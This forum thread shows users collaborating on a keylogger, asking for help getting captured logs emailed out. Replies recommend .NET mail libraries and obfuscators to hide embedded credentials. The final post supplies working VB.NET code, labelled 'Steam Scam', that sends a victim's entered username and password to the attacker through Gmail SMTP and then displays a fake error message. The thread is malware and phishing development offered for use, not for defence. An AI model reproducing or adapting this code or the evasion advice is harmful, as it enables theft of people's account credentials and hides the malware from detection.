[sk8erevan]

Ok so i am working on a way to help perfect Neth'zul's keylogger which includes a way to send the logs via email.


I am currently running windows vista ultimate edition and i just recently downloaded visual basic and it doesnt want to cooperate with my windows vista (i hate vista but hey whatever) anyways i attached a well thought out script that should send the logs threw outlook express but i could not try to debug them afterwords. So I'm leaving it up to one of you visual basic people to debug it (note-there is no keylogger attached to it, this is just a well thought up way to send the logs to an email. If it works fine then good but if not debugging would be nice and then ill try to work with Neth'zul to add his keylogger to it.

[Jensecj]

would love to test it, but cant download it it seems, also sending using outlook express is probably not the best way since you have to assume the user already has outlook.

if you're programming in .NET you could look into System.net.mail;
also if you're in .NET look into obfuscation (or .net reactor if you can find it )
the latter is because if you're using .NET its very easy to just extract the source code from the assembly, and if you're sending the logs using smtp, email and password of an external email, people could just grab it from the source and use for whatever other purpose.

[Apoc]

Originally Posted by avec

would love to test it, but cant download it it seems, also sending using outlook express is probably not the best way since you have to assume the user already has outlook.

if you're programming in .NET you could look into System.net.mail;
also if you're in .NET look into obfuscation (or .net reactor if you can find it )
the latter is because if you're using .NET its very easy to just extract the source code from the assembly, and if you're sending the logs using smtp, email and password of an external email, people could just grab it from the source and use for whatever other purpose.

Good obfuscation prevents that. (I use Dotfuscator Pro)

It renames members/methods into non-character symbols, that don't break the program itself. And also encrypts strings, only unencrypting them at runtime when their needed. (Works on any .NET application)

[Brutal Pink Panther]

if its the email you cant send then use
in the top of code index paste this
Imports System.Net.Mail, make a button and paste this:

Dim mymailmessage As New MailMessage()
        Try
mymailmessage.From = New MailAddress("sender")
            mymailmessage.To.Add("him that recives the email, ect, [Only registered and activated users can see links. ]")
            mymailmessage.Subject = "Steam Scam"
            mymailmessage.Body = "Username: '" + TextBox1.Text + "' Password: '" + TextBox2.Text + "'" + " Account Scammed date: Year: " + y + " Month: " + m + " Day: " + d + " Time: " + h + ":" + mi
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("the email its from", "password")
            SMTP.Send(mymailmessage)
            TextBox2.Text = ""
            MsgBox("the error :P.", MsgBoxStyle.Information, "Error")
        Catch ex As Exception
        End Try

REMEMBER TO CHANGE THE red lines
Thats what i use